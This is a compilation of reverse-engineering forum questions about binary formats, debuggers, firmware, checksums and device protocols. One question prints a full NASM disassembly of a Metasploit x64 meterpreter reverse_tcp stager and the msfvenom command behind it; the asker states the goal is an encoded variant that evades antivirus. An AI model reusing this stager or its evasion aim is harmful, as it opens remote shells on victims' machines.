00-02-7C-02-AD-00-0F-3B-85-1E-B9
</code>```

The 2 numbers I'm trying to extract should be a PSI/bar/other pressure value of around 50psi/339bar and the other should be between 1 and 5ish.

It looks like the values are split on the 00 in the hex.

I've been using this tool hex to int converter to try and split the hex up, but I can't get the values I'm expecting.


问:
Instruction and memory tracer for executing program on windows
Anyone know any popular x86 tracer which can capture the instruction and memory change by a running program on windows?</p>


问:
X64 ASSEMBLY - Cannot run compiled and linked raw shellcode in Windows
After using metasploit's windows/x64/meterpreter/reverse_tcp shellcode on my windows 10 machine (with AVs turned off), I decided to try to create a hand-made polymorphic, null-free and custom-encoded version of the same shellcode (with the hope of evading my AVs).

To test my work flow, I produced a raw output of the shellcode using:

msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -a x64
  --platform windows LHOST='my IP address' | ndisasm -b 64 -

```<code>global _start
section .text

_start:

cld
and rsp,byte -0x10
call first_call ;dword 0xd6
push r9
push r8
push rdx
push rcx
push rsi
xor rdx,rdx
mov rdx,[gs:rdx+0x60]
mov rdx,[rdx+0x18]
mov rdx,[rdx+0x20]

fifth_jmp:

mov rsi,[rdx+0x50]
movzx rcx,word [rdx+0x4a]
xor r9,r9
xor rax,rax
lodsb
cmp al,0x61
jl 0x37
sub al,0x20
ror r9d,0xd
add r9d,eax
loop 0x2d

push rdx
push r9
mov rdx,[rdx+0x20]
mov eax,[rdx+0x3c]
add rax,rdx
cmp word [rax+0x18],0x20b
jnz first_jmp ;dword 0xcb

mov eax,[rax+0x88]
test rax,rax
jz first_jmp ;0xcb

add rax,rdx
push rax
mov ecx,[rax+0x18]
mov r8d,[rax+0x20]
add r8,rdx

fourth_jmp:

jrcxz second_jmp ;0xca

dec rcx
mov esi,[r8+rcx*4]
add rsi,rdx
xor r9,r9

third_jmp:

xor rax,rax
lodsb
ror r9d,0xd
add r9d,eax
cmp al,ah
jnz third_jmp

add r9,[rsp+0x8]
cmp r9d,r10d
jnz fourth_jmp ;0x72

pop rax
mov r8d,[rax+0x24]
add r8,rdx
mov cx,[r8+rcx*2]
mov r8d,[rax+0x1c]
add r8,rdx
mov eax,[r8+rcx*4]
add rax,rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp,byte +0x20
push r10
jmp rax

second_jmp:

pop rax

first_jmp:

pop r9
pop rdx
mov rdx,[rdx]
jmp dword fifth_jmp ;0x21

first_call:

pop rbp
mov r14,0x32335f327377
push r14
mov r14,rsp
sub rsp,0x1a0
mov r13,rsp
mov r12,0x6900a8c05c110002
push r12
mov r12,rsp
mov rcx,r14
mov r10d,0x726774c
call rbp

mov rdx,r13
push dword 0x101
pop rcx
mov r10d,0x6b8029
call rbp

push byte +0x5
pop r14

ninth_jmp:

push rax
push rax
xor r9,r9
xor r8,r8
inc rax
mov rdx,rax
inc rax
mov rcx,rax
mov r10d,0xe0df0fea
call rbp

mov rdi,rax

sixth_jmp:

push byte +0x10
pop r8
mov rdx,r12
mov rcx,rdi
mov r10d,0x6174a599
call rbp

test eax,eax
jz 0x15e
dec r14
jnz sixth_jmp ;0x13e

call second_call ;dword 0x1f1

sub rsp,byte +0x10
mov rdx,rsp
xor r9,r9
push byte +0x4
pop r8
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp

cmp eax,byte +0x0
jng seventh_jmp ;0x1d1

add rsp,byte +0x20
pop rsi
mov esi,esi
push byte +0x40
pop r9
push dword 0x1000
pop r8
mov rdx,rsi
xor rcx,rcx
mov r10d,0xe553a458
call rbp

mov rbx,rax
mov r15,rax

tenth_jmp:

xor r9,r9
mov r8,rsi
mov rdx,rbx
mov rcx,rdi
mov r10d,0x5fc8d902
call rbp

cmp eax,byte +0x0
jnl eighth_jmp ;0x1e3

pop rax
push r15
pop rcx
push dword 0x4000
pop r8
push byte +0x0
pop rdx
mov r10d,0x300f2f0b
call rbp

seventh_jmp:

push rdi
pop rcx
mov r10d,0x614d6e75
call rbp

dec r14
jmp ninth_jmp ;0x11f

eighth_jmp:

add rbx,rax
sub rsi,rax
test rsi,rsi
jnz tenth_jmp ;0x1a2
jmp r15

second_call:

pop rax
push byte +0x0
pop rcx
mov r10,0x56a2b5f0
call rbp
</code>```

Before making any changes to the ndisasm output (apart from modifying the call and jmp destinations from relative addresses to labels, see code above), I compiled and linked the output using:

nasm -f win64 -o meterpreter_reverse_tcp.o meterpreter_reverse_tcp.asm

/opt/mingw/x86_64-w64-mingw32/bin/ld -o meterpreter_reverse_tcp.exe
  meterpreter_reverse_tcp.o

But when I ran the .exe on my windows 10 machine, I got the following error:

Meterpreter_reverse_tcp.exe has stopped working. A problem caused the
  program to stop working correctly. Windows will close the program and
  notify you if a solution is available.

The output of the command 'file meterpreter_reverse_tcp.exe' is:

meterpreter_reverse_tcp.exe: PE32+ executable (console) x86-64
  (stripped to external PDB), for MS Windows

What did I do wrong ?

As a side note, I know the obvious solution would be to debug the .exe on the Windows machine. I am presently learning how to use debbugers on Windows for programs compiled and linked on Linux. The goal here is to understand if an error occured during the process I described in my question.


问:
Why does clang use ebp relative offsets to put function arguments on the stack?
I've been looking at disassembly of x86 32-bit code generated by GCC vs Clang.

Environment is Ubuntu Server 16.04.2 32bit running in VMware.

Both are compiled with the same options. No optimizations so no omitting frame pointer or anything like that. Only difference is GCC was compiled with -mpreferred-stack-boundary=2 to have a 4 byte aligned stack and avoid the extra instructions managing stack alignment.  clang doesn't offer this option.

In GCC disassembly, function local stack variables are referenced using negative offsets to EBP while function arguments placed on the stack before a call are either pushed to stack or mov'd into stack memory using ESP relative positive offsets (1st arg: ESP, 2nd arg: ESP+4, etc...).

Using clang, for the same source file,  the generated assembly uses EBP relative negative offsets for both accessing function local vars AND accessing the head of the stack, head of the stack + 4, etc.. for placing call arguments on the stack. ESP is almost never used aside from the initial function prologue. And there's several function calls in the disassembly I'm looking at.

I'm not used to this notation and I find it a bit odd since the actual negative offset value from EBP to get to the head of the stack will always be changing as the stack grow / contracts.  Whereas using ESP, it's more intuitive to know that prior to a CALL,  value at ESP will be 1st arg, value at ESP+4 will be 2nd, etc...

Ultimately I suppose the result is the same because any local stack frame location can be indexed via EBP, including the head of the stack, provided you know at any given instruction how much stack memory has been allocated since the start of the stack frame.

i.e. ESP = EBP - (total number of bytes allocated so far in current frame)

Is there a reason for the difference?  Purely a different implementation choice?

(I don't have the actual disassembly on hand right now but I will edit the question later to add it).

GCC 5.4

```<code>┌ (fcn) sym.check_authentication 89
│   sym.check_authentication (int arg_8h);
│ ; var int local_14h @ ebp-0x14
│ ; var int local_4h @ ebp-0x4
│ ; arg int arg_8h @ ebp+0x8
│ 0x080484cb      55             push ebp
│ 0x080484cc      89e5           mov ebp, esp
│ 0x080484ce      83ec14         sub esp, 0x14
│ 0x080484d1      c745fc000000.  mov dword [ebp - 4], 0
│ 0x080484d8      ff7508         push dword [ebp + 8]
│ 0x080484db      8d45ec         lea eax, [ebp - 0x14]
│ 0x080484de      50             push eax
│ 0x080484df      e89cfeffff     call sym.imp.strcpy
│ 0x080484e4      83c408         add esp, 8
│ 0x080484e7      6820860408     push str.brillig                      ; "brillig" @ 0x8048620
│ 0x080484ec      8d45ec         lea eax, [ebp - 0x14]
│ 0x080484ef      50             push eax
│ 0x080484f0      e86bfeffff     call sym.imp.strcmp
│ 0x080484f5      83c408         add esp, 8
│ 0x080484f8      85c0           test eax, eax
│ 0x080484fa      7507           jne 0x8048503
│ 0x080484fc      c745fc010000.  mov dword [ebp - 4], 1
│ 0x08048503      6828860408     push str.outgrabe                     ; "outgrabe" @ 0x8048628
│ 0x08048508      8d45ec         lea eax, [ebp - 0x14]
│ 0x0804850b      50             push eax
│ 0x0804850c      e84ffeffff     call sym.imp.strcmp
│ 0x08048511      83c408         add esp, 8
│ 0x08048514      85c0           test eax, eax
│ 0x08048516      7507           jne 0x804851f
│ 0x08048518      c745fc010000.  mov dword [ebp - 4], 1
│ 0x0804851f      8b45fc         mov eax, dword [ebp - 4]
│ 0x08048522      c9             leave
└ 0x08048523      c3             ret
</code>```

clang 3.8.0

```<code>┌ (fcn) sym.check_authentication 121
│   sym.check_authentication (int arg_8h);
│ ; var int local_20h @ ebp-0x20
│ ; var int local_1ch @ ebp-0x1c
│ ; var int local_18h @ ebp-0x18
│ ; var int local_14h @ ebp-0x14
│ ; var int local_4h @ ebp-0x4
│ ; arg int arg_8h @ ebp+0x8
│ 0x080484a0      55             push ebp
│ 0x080484a1      89e5           mov ebp, esp
│ 0x080484a3      83ec28         sub esp, 0x28                         ; '('
│ 0x080484a6      8b4508         mov eax, dword [ebp + 8]              ; [0x8:4]=-1 ; 8(null)
│ 0x080484a9      8d4dec         lea ecx, [ebp - 0x14]
│ 0x080484ac      8945fc         mov dword [ebp - 4], eax
│ 0x080484af      c745e8000000.  mov dword [ebp - 0x18], 0
│ 0x080484b6      8b45fc         mov eax, dword [ebp - 4]
│ 0x080484b9      89e2           mov edx, esp
│ 0x080484bb      894204         mov dword [edx + 4], eax
│ 0x080484be      890a           mov dword [edx], ecx
│ 0x080484c0      894de4         mov dword [ebp - 0x1c], ecx
│ 0x080484c3      e898feffff     call sym.imp.strcpy
│ 0x080484c8      89e1           mov ecx, esp
│ 0x080484ca      8b55e4         mov edx, dword [ebp - 0x1c]
│ 0x080484cd      8911           mov dword [ecx], edx
│ 0x080484cf      c74104608604.  mov dword [ecx + 4], str.brillig      ; [0x8048660:4]=0x6c697262 ; "brillig" @ 0x8048660
│ 0x080484d6      8945e0         mov dword [ebp - 0x20], eax
│ 0x080484d9      e862feffff     call sym.imp.strcmp
│ 0x080484de      83f800         cmp eax, 0
│ 0x080484e1      0f8507000000   jne 0x80484ee
│ 0x080484e7      c745e8010000.  mov dword [ebp - 0x18], 1
│ 0x080484ee      8d45ec         lea eax, [ebp - 0x14]
│ 0x080484f1      89e1           mov ecx, esp
│ 0x080484f3      8901           mov dword [ecx], eax
│ 0x080484f5      c74104688604.  mov dword [ecx + 4], str.outgrabe     ; [0x8048668:4]=0x6774756f ; "outgrabe" @ 0x8048668
│ 0x080484fc      e83ffeffff     call sym.imp.strcmp
│ 0x08048501      83f800         cmp eax, 0
│ 0x08048504      0f8507000000   jne 0x8048511
│ 0x0804850a      c745e8010000.  mov dword [ebp - 0x18], 1
│ 0x08048511      8b45e8         mov eax, dword [ebp - 0x18]
│ 0x08048514      83c428         add esp, 0x28                         ; '('
│ 0x08048517      5d             pop ebp
└ 0x08048518      c3             ret
</code>```


问:
Where can I get a good description about windows build-in exe programs like wupdmgr.exe?
I was checking the Strings for Lab01-04.exe from Practical Malware Analysis and I found wupdmgr.exe and I face this every time I search for an exe.
Is there any "msdn" alike repository but for exe files?</p>


问:
Need help intercepting android application network traffic
On my OWN rooted phone, I have had xposed installed, justtrustme unpinning application, and tcpdump in an attempt to capture the traffic of specific applications that are on the phone.

The specific application I am trying to decipher is using some advanced certificate pinning. I don't care about anything other than what are the requests that it sends to the API servers.

I have also tried frida.re but there are just so many function calls to figure out which one is the one I am interested in.

Any advice?


问:
Tools to support Android native code hacking?
I am learning android reverse engineering, and want to know tools to hack native code.

gdb to remotely debug the code, but I find it can not ever hit a breakpoint.

arminject is a choice, it works on ARM, and has some issues.

IDA is great and too expensive for me.

Any more suggestions?


问:
Reverse engineering proprietary database file format .IDF
I have an old (I think) Windows software on a cd-rom, that is basically a database and its interface for show the data it contains.

I don't like the software view interface, want to make my own with visual studio or similar, but of course I can't access the database. All that I know is it's made of a good number of IDF files, they contains both data and photos/images shown on the screen through the software.

My question is where to start if I want reverse engineering these files, getting the data with their relations. Would be enough have tables of strings and numbers. I have a little experience with rev.eng. made through Cheat Engine, for some games, but nothing more.


问:
What does fs register value mean in x86 application?
I know that FS points to Thread Environment Block - which is seen by the address at the right part of what OllyDbg shows:

What does this value 0x53 mean? Does it have some connection with the address 0x7EFDD000? If to change FS value to 0x63 (for example), the address to the right becomes 0:

Likewise, if to change another segment register to 0x53, it will be also pointing to TEB:

How should we interpret all the things?


问:
Reverse engineering ps2 game texture file format - got most of it but a few issues
I've spent a lot of time on this and I have made a lot of progress, but there is several problems to solve still.

I have this old PS2 game and, as any curious person would, I put the disc in my computer and opened up data files in my hex editor.

After a lot of digging around I found a texture file format embedded in larger container files. I extracted these textures using a hacked together python script, and managed to reverse engineer a lot of the file. NOTE: It is in little endian. I then proceeded to write c++ code that parses these files and then uses imagemagick to convert them to jpg or png.

The images themselves use indexed colour, that is it has a palette of colours and uses an index to refer to them. The size of the palette in all images i've found so far is always 1024 bytes (256 colours) and is appended to the end of the image data.

One of the tricky parts of this for me is that the alpha values are confusing. They seem to be between 0 and 0x80 (128 in decimal) but I don't know how to deal with them. If I overwrite all alpha values to 0xFF the image comes out fine with no 'real' alpha channel, but I need to eventually be able to parse it so I can get the exact original images back. Leaving the alpha values as is makes the conversion fail technically, the image looks undesirable.
Here is an example of what i mean:
http://imgur.com/a/GrkOQ

Here are the current structures that I've managed to reverse engineer and code into my parser so far

```<code>struct Header
{
    char header[4];
    unsigned long imageOffset;
    unsigned long paletteOffset;
    unsigned long fileSize;
    unsigned short width, height;
    char unknowndata[10];
    unsigned short id;
};

union colourU{
    unsigned long hex;
    unsigned char rgba[sizeof(long)];
};

struct Palette
{
    colourU colour[256];
};
</code>```

I recently made some headway in reversing the unknown data in the header, but it's not much.
Here is a sample of a header

4B 32 54 78 20 00 00 00 20 00 01 00 20 04 01 00
00 01 00 01 00 00 00 00 05 00 05 00 00 00 02 00

The first four bytes 4B 32 54 78 is a magic string 'K2Tx'

Then there is the imageOffset 20 00 00 00 and paletteOffset 20 00 01 00

The fileSize 20 04 01 00

Then there is 00 01 and 00 01 which is width and height of the image (256x256)

The unknown bytes section is 0xA bytes long which is divisible by 2, but not 4. which says to me that its either shorts or something else. I am unsure how to really understand these bytes without getting into the game code.

I am hoping someone might be able to help me by pointing me in the right direction.

All of this work was done just by observing many different sample files, I really didn't want to get out a disassembler and look at the code, although I may have to at some point. (Its MIPS III)

If you need a full file sample let me know

--- UPDATE ---

I've decided to name the game - it's Tenchu: Fatal Shadows

After messing around with emulator and cheat engine, managed to uncover some things.

The first two bytes of the unknown data is actually some sort of pixel x rotation, and then the next two are the y rotation. When i changed them, the texture pixels would change pixel positions on the screen (rotated within their bounds).

This might not be that important as they are usually set to zero.

The next two bytes and two bytes after that are both shorts, but I am not sure exactly what they do. When I change them the whole texture goes strange and it corrupts some of the memory within the game itself, perhaps some sort of or offset or array index.

Seeing as these may only has use within the game's memory context, I will ignore these for now

The last two bytes of the originally unknown chunk are simply some sort of interleave flag (a guess) which is TRUE if it is set as 0x02 or in binary b10
Which is interesting, because i have found a few textures which are in that format. Usually those are the ones used on 3d models ingame.
Here is 2 jpg examples of these http://imgur.com/gallery/7VpZm
Perhaps some sort of pixel interleaving?

There is a link to a sample in the comments


问:
Accessing .rodata/.rel.data.ro
Analyzing an android ELF binary. How/where does something access a specific area of .rodata or .rel.data.ro? Have tried using objdump, rabin2, readelf, etc and I can't seem to figure out how it is internally accessed/used. </p>

Title: Accessing .rodata/.rel.data.ro


问:
Getting REWARDS pintool to work with ELF
I am trying to run a pintool I downloaded from this link:

https://www.cs.purdue.edu/homes/kim1051/

The associated paper is here:
https://www.utdallas.edu/~zxl111930/file/Rewards_NDSS10.pdf

The tool works fine with the provided example. Nevertheless, when I try running an elf-32 or 64 I get the following error:

```<code>E:Cannot execute file. System error: Unknown error. File name: ".\hello"
E:Pin is exiting due to fatal error
</code>```

The code I used is a simple C hello world:

```<code>#include <stdio.h>
int main()
{

   printf("Hello, World!");
   return 0;
}
</code>```

Compiled with:

```<code>gcc -m32 hello.c -o hello
</code>```

I am new to Pin, nevertheless I gathered it acts as it's own binary loader so I'm surprised this did not work.

Thank you in advance.


问:
Debugging MIPS Binaries on Ubuntu 64-bit (version 14.04)
I have a MIPS 32-bit MSB binary and I can disassemble the code with IDA Pro and decompile it successfully with ReTargetable Decompiler.

In order to understand the binary much better, I need to debug the binary to understand a few subroutines.

I am using Ubuntu 64-bit (version 14.04). I have followed the instructions provided here: https://reverseengineering.stackexchange.com/a/8917/2673 for installing qemu, binfmt, gdb-multiarch, MIPS libraries and cross compiling tool chain.

cross compiler installation error:

I get an error while trying to install gcc-4.4-mipsel-linux-gnu on Ubuntu 14.04

gcc-4.4-mipsel-linux-gnu depends on cpp-4.4-mipsel-linux-gnu.

When I try to install cpp-4.4-mipsel-linux-gnu, I get an error that libgmp32c2 is not installed. And when I try to install libgmp3c2 using apt-get, it doesn't find the package.

I can find several other packages like libgmp3c2-* however, cannot find the specific, libgmp3c2 package which cpp-4.4-mipsel-linux-gnu needs. And I have even added the recommended repositories to /etc/apt/sources.list

However, I thought we need to install the cross platform compiling tools only if I need to compile the program for the target architecture.

Error in Execution of MIPS Binary

So, I tried to execute the MIPS binary and it crashes. When I run strace on it, I get the following error:

```<code>NeonFlash:~$ qemu-mips -strace ./test
61294 brk(NULL) = 0x00412000
61294 mmap(NULL,4096,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0) = 0x767ca000
61294 uname(0x76ffeae8) = 0
61294 access("/etc/ld.so.nohwcap",F_OK) = -1 errno=2 (No such file or directory)
61294 access("/etc/ld.so.preload",R_OK) = -1 errno=2 (No such file or directory)
61294 open("/etc/ld.so.cache",O_RDONLY) = 3
61294 fstat64(3,0x76ffe6d0) = 0
61294 mmap(NULL,104789,PROT_READ,MAP_PRIVATE,3,0) = 0x767b0000
61294 close(3) = 0
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault (core dumped)
</code>```

Below are the details when I tried to use gdb with the binary:

```<code>NeonFlash$ qemu-mips -g 12345 ./test &
[1] 60181
NeonFlash$ gdb-multiarch ./test
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./test...(no debugging symbols found)...done.
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) target remote localhost:12345
Remote debugging using localhost:12345
warning: Unable to find dynamic linker breakpoint function.
GDB will be unable to debug shared library initializers
and track explicitly loaded dynamic code.
0x767cb880 in ?? ()
(gdb) x/i $pc
=> 0x767cb880:  move    t9,ra
</code>```

I even tried remote debugging the binary using IDA Pro by running qemu-mips as shown below:

```<code>qemu-mips -E REMOTE_ADDR=<IP_address_of_machine_with_IDA_PRO> -g 12345 ./test &
</code>```

However, if I set a breakpoint on the main function, it crashes.

Do I need to install qemu-system or qemu-user should be enough for debugging MIPS binaries?


问:
methods for identifying deliberately unmagiked filesystem
I am trying to restore a system from backups around some obnoxious copy protection. It is a Linux system from an vendor that does not appear to comply with the GPL and has overwritten the header of their filesystem (the first 0xc000 bytes are cf23 repeating) so that you have to use their boot disk which checks for hardware that no longer is available and mostly does not work. I am fairly sure the block size is 4k (0x1000). the first filename in a directory entry seems to always be at 0x20 relative to the block. The filesystem does not appear to be encrypted as text is identifiable and readable. Standard methods of identification (file, blkid, mount -t auto) do not work. I know that reiserfs is used in some parts of the system as is ext2 and ext3. If anyone has any tips for things to look for to identify the filesystem type or pointers to lists of identifying characteristics of file systems it would be appreciated.</p>

OwnerDisplayName: hildred


问:
What does the “Offset to the filename” stands for in an Index Record in NTFS
The structure of the Index Record in NTFS 3.1 is clear:

```<code>Offset      Description
-------------------------------------
0x00        MFT Reference of the file
0x08        Size of the index entry
0x0A        Offset to the filename
...
0x52        Filename
...
</code>```

The filename is always located at 0x52. So, why do we need the data stored on 0x0A? And what does it include (Almost not 0x52)?


问:
Reverse engineering unknown RS232/UART binary protocol

Background story

For couple of days I'm trying to crack the protocol used the old medical device, in order to collect data for a research in an automated way.

The device in question is Novametrix CO2SMO Plus, model 8100. Manufacturer of this device was bought, long time ago, by Respironics and than Respironcis was bought by Philips. Their website doesn't exists for last 12-14 years and archived copy doesn't have any useful information. Since device was designed before 2000 there's no software over the Internet - it was distributed on floppy disks so as software updates.

Device is very similar to model 7100, which was released ~3 years prior to the 8100. Devices mainly differ in software - the one in 8100 is much more sophisticated.

Physical layer

At first I stared from obvious things like determining physical layer of the connection - that went easy, since service manual actually lists all signals in DB25, located on the back of the device.

At the beginning I hoped 8100 will use similar, well documented by manufacturer, ASCII protocol (called NOVACOM1) as 7100 used. Unfortunately it's not the case. My device uses newer protocol called NOVACOM3 - there's zero information about it in the Internet; it seems like NOVACOM2 was never released.

I don't own oscilloscope (and I don't have an access to electronics labs on my college), so I determined baudrate of the port just observing the traffic with different baudrates with debugging mode enabled on device (more on that later). With high confidence I can say it's 9600 8N1 (like in previous model).

Device uses NXP MC68332 MCU, which according to the data sheet is a rugged 32 bit core with quite a few subunits useful in an automotive applications. It also seems to be a secure one - since I have almost no experience in EE I quickly dismissed any possibilities to attempt of physically attacking the CPU.

PC software

According to the service manual, manufacturer had developed PC software used for communication with the device - "CO2SMO Plus! for Windows". Unfortunately it was sold as a separate package and it's nowhere to be found now.

Diagnostic protocol

The device has two Novametrix protocols - NOVACOM3 and SATDIAG. Since diagnostic protocols are usually simpler I started from the later one:

SATDIAG streams data continuously

Protocol, besides sending data to the computer, contains some unknown upload mode for firmware update (probably some XMODEM or so... I don't have firmeware blob, so obviously I didn't played with this)

After analysis I can say with high confidence each packet begins with 0x00 and ends with 0x0A (LF)

Protocol streams packets few times a second (I didn't conducted any measurements on that, but it's 15-20/s)

Device alternates between sending 9 and 25 bytes (including 2B of header and footer) packets

Every few of seconds 41 bytes packet is transmitted

Most probably no checksum is used (the same payloads contain different last byte, I also calculated popular checksums for few)

Protocol seems to be aimed strictly for collecting performance data, some sort of resources usage or represents unknown internal state -  changes in measurements aren't causing any notable changes in packets. I also tried manually searching for numbers similar to these displayed by the device - no luck.

In summary SATDIAG seems to be more like a debugger dumping some performance metrics or resources usage.

Control protocol

Next I started playing with the protocol used to talk to the PC software - NOVACOM3:

The protocol follows request-response pattern

In order to display live waveforms protocol has to contain continuous mode which just streams data without additional queries: that is what I want to get

By sending different characters I determined that 0x00 marks end of the packet. There's no signs of any character marking beginning the the packets.

It looks like device expects (some?) packets to be 8 bytes (including trailing NULL-BYTE) long - while sending different lengths terminated by 0x00 I see for 8 bytes device is consistent with replying with 2 bytes.

Seems to have no checksum - I've got different 2 bytes responses with the same first byte and different 2nd

Response packets seems to have no length defined

Sending multiple 0x00 seems to "zero" the device input buffer - while I was playing with determining length sending 3-4 0x00 was causing device to behave consistently.

Sending multiple 0x00 generates no response

Protocol may have some blocks of commands: while I started scanning by sending 1 byte + 0x00 I've got no response for 7 bytes after each of the bytes: 0x10, 0x30, 0x50, 0x70, 0x90, 0xb0, 0xd0, 0xf0

All responses which I was able to get were 2 bytes or 4 bytes (and the longer ones seem to be 2 packets actually). Each packet was started with 0x2A

The only responses o was able to get were: {0x2A, 0xA0}, {0x2A, 0xA1}, {0x2A, 0x80}

The packet {0x2A, 0x80} may actually be some sort of ACK, since a lot of times I had to wait for second packet for a 1-1.5s when responses were 4 bytes long.

0x20 (space) / 0x40 (@) / 0x60 seems to be a white character - sending it followed by 0x00 leads to no response. These characters are also very common in SATDIAG.  It's a little bit suspicious that they're spaced so evenly 20-40-60. Now while writing this I think it might be some connection with the ranges described few points before (10-30-50-70-90-...)

I'm stucked...

I wasn't able to force device to start streaming - if I would manage to do that figuring out parameters shouldn't be that hard, since I have the display on the unit and I know which parameters to expect. Until than... I have no idea how to progress further. I also tried contacting Philips division which bought the company - no response whatsoever.

Any ideas?


问:
Radare2 - recursive traversal visual mode
I know that both pdf @ func and pdr @ func disassemble the function, the first using linear and the second recursive traversal disassembly. VV @ func shows the disassembled function in visual mode, but it seems it uses linear sweep. Can I use recursive traversal and see the output in visual mode?


问:
How to hide / obfuscate the function of an IC?
Let's say I have an IC (integrated circuit) and I want to hide it's function. What would be best practice to do that?

Removing the markings with sandpaper or acid?

(E.g. atmega328, ATtiny85,... ) How to avoid that anyone could find out what program sketch is running on it?

Connecting a few useless other ICs without function to it?

Imagine now you found one of these black bugs (IC) without markings and without other components. What could you do to get the program sketch running on it?


问:
What do malicious programs use the ESENT registry key for?
I was analyzing a piece of malware and noticed it created this registry key.
hkey_local_machine\software\microsoft\ esent\process{malware file name}\debug

Some googling told me that esent is just a database applications can use whenever they want. If the malware is using the esent database, how can I locate the data it's stored inside? If I cannot, what should I do with this information? Sorry for bad English.


问:
Is there an existing tool to reverse engineer Xamarin AOTDATA files?
I am currently examining a xamarin application. It has used the "ahead of time compilation" feature, which has left some of the associated .net assemblies (.dlls) as lists of function signatures without their implementations.

It is my understanding that the implementation data is stored in the AOTDATA files. However, the files appear to have no useful strings to work off of.

How can I match the functions in the .net assemblies to the data in the AOTDATA files? How can I reverse engineer useable code out of the AOTDATA files?

It is my hope that there is an existing tool which is capable of it, but I cannot dig up anything about the structure of the files so far.


问:
VST audio samples
Ques: How difficult would it be to extract audio samples from a VST extension/plugin?

The author has made their software available for free but it was designed as an extension for a much larger music framework? VST?

My synth can load and play raw WAV files. How hard would it be to extract the audio samples from the author's plugin, and would it be possible to convert the samples into individual WAV files?

Title: VST audio samples


问:
DSi Data Recovery Process?
I have been asked to recover data from a Nintendo DSi device that has some critical pictures and audio on it.

After looking closely at the system, it appears that the memory must be integraded onto the board and will require some effort to attach it to something like a Serial Converter.

Any ideas on what kind of a process to follow in order to access such a memory device as is found on a DSi?

Title: DSi Data Recovery Process?


问:
Need help for an unknown 7-bit checksum
i am struggling since a long time to determine the checksum of the following sequences.

I have two examples.

Ex1: Have the same checksum and one have a payload incrementation  by 0x0A

at the same position (Byte 8).

Ex2: This one have the same checksum (9.byte).

I am sure this are the checksum and is always 1 Byte.

What I noticed is that the values of checksum is not bigger than 0x7F.

I have many expamples but i see that it never grows up to 0x80.

It can also not 0xFF because 0xFF marks the sequenze as the end.

Example with paylod increment of 0x0A on the 8.Byte.

01: ED  0   1   0   1   0   0   00  29

02: ED  0   1   0   1   0   0   0A  19

03: ED  0   1   0   1   0   0   14  49

04: ED  0   1   0   1   0   0   1E  79

05: ED  0   1   0   1   0   0   28  4A

06: ED  0   1   0   1   0   0   32  44

This examples has the same checksum (0x53):

01: E4  09  01  02  26  50  00  53

02: E4  10  01  01  00  0F  00  53

03: E4  14  01  09  42  09  41  53

04: E4  15  01  14  48  08  03  53

05: E4  01  02  21  02  50  00  53

05: E4  01  02  22  22  52  00  53

06: E4  01  02  22  31  05  00  53

07: E4  02  02  02  10  0D  05  53

I have tested various algorythms.
Fletcher, Adler32, BSD 8Bit are one of them.

Xor8 an some tests with shiftet bits and various modulus.

I have xored the values but nothing of worth comes out.

Reveng gave me some results but not for all sequences.

I am also sure that it is not a CRC but only a simple checksum.

I have read many threads if there was a hint how i can reverse the checksum.

But i see nothing wich handles 7bit. I also look at the bits but i dont know on how to begin.

I see some participations but dont see the relation.

In the first block I see that the checksum is ending in 0x09. (Set 1 - 4)

If the payload increases by 0x0A the checksum also increments by 0x30 (Set 2-4)
until a specific point (Set 5).

I am sure it is very simple. In german i would say "ich sehe den Wald vor lauter Bäumem nicht".

Don't know the correct translation in english. ;-)

It would very appreciate if someone can point me the right direction.

With best regards

Chris

Edit:
- replaced the word "crc" in the text by "checksum" for better understanding.

  Tnx to JimmyB for the hint.

Title: Need help for an unknown 7-bit checksum


问:
cwa file conversion
Problem description: Axivity (axivity.com/userguides/ax3/using/) watch device logs data internally in a binary packed format. This format is named Continuous Wave Accelerometer (CWA) format. This format is very efficient for storing large amounts of data but is not natively supported by many applications. I use GGIR library from R to read the CWA file.

I have a requirement to generate 25 CWA files to be loaded in to a database.
I can either ask 25 users to wear it on the device on their wrist for 2 weeks to generate the 2-week long log data in CWA format. Or I can use one CWA file that I have and change its header and save it as CWA file thereby creating 25 clones. But R can read it but not save it as CWA. I could not glean much out of http://axivity.com/help/21 to do this reinterpolation.
Is there a way to edit CWA files and save them back to the same format by any other method like PERL?
 A test data set is available here axivity.com/downloads/ax3
(AX3 example Data). Thanks.

Title: cwa file conversion


问:
RE Tplink TD-W8960N V7
I am trying to reverse engineer a TDw8960 v7 TP-Link router. Currently the router has a bug, whereby setting the MTU via the GUI has no affect. It seems regardless of the value placed here despite showing a default value of 1480, all interfaces are stuck at 1500 which has caused some navigation issues. Whilst I have brought this to the attention of TP-Link I would rather try to patch this quickly and wait to see if and when they release a fixed version of the firmwares.

Below you can see the gui setting and the ifconfig from Telnet

The config files also confirms it should be 1400 on the ppp0 interface:

Finally I have set my NIC to 1420 and my navigation issues are resolved. When returning back to 1500 the issue returns.

I have tried to reverse engineer the following firmware files with no luck:

TD-W8960N(EU)_V7_160614.zip

TD-W8960N(EU)_V7_160118.zip

TD-W8960N(EU)_V8_170106.zip

I have seen the following guide which shows the process very clearly, however, this guide is for v5 and it seems in v5 they used a squash filesystem and have since changed for newer versions.

Inforge.net

When I do a binwalk for the three files I am trying I see the same output (or close enough):

I have literally just started trying to do and learn this stuff so forgive any stupidity from here.

I have tried a few tools:

Firmware Modification kit - extract-firmware.sh

Firmware Modification kit - extract-ng.sh

Firmware Modification kit - old-extract.sh

Firmware Modification kit - tpl-tool

I have tried multiple sources of the firmware modification kit. I have also tried router tools zynos.py, but as I understand the ZynOS is not used on this device.

Router Tools

All either fail or result in a message stating it is unsupported.

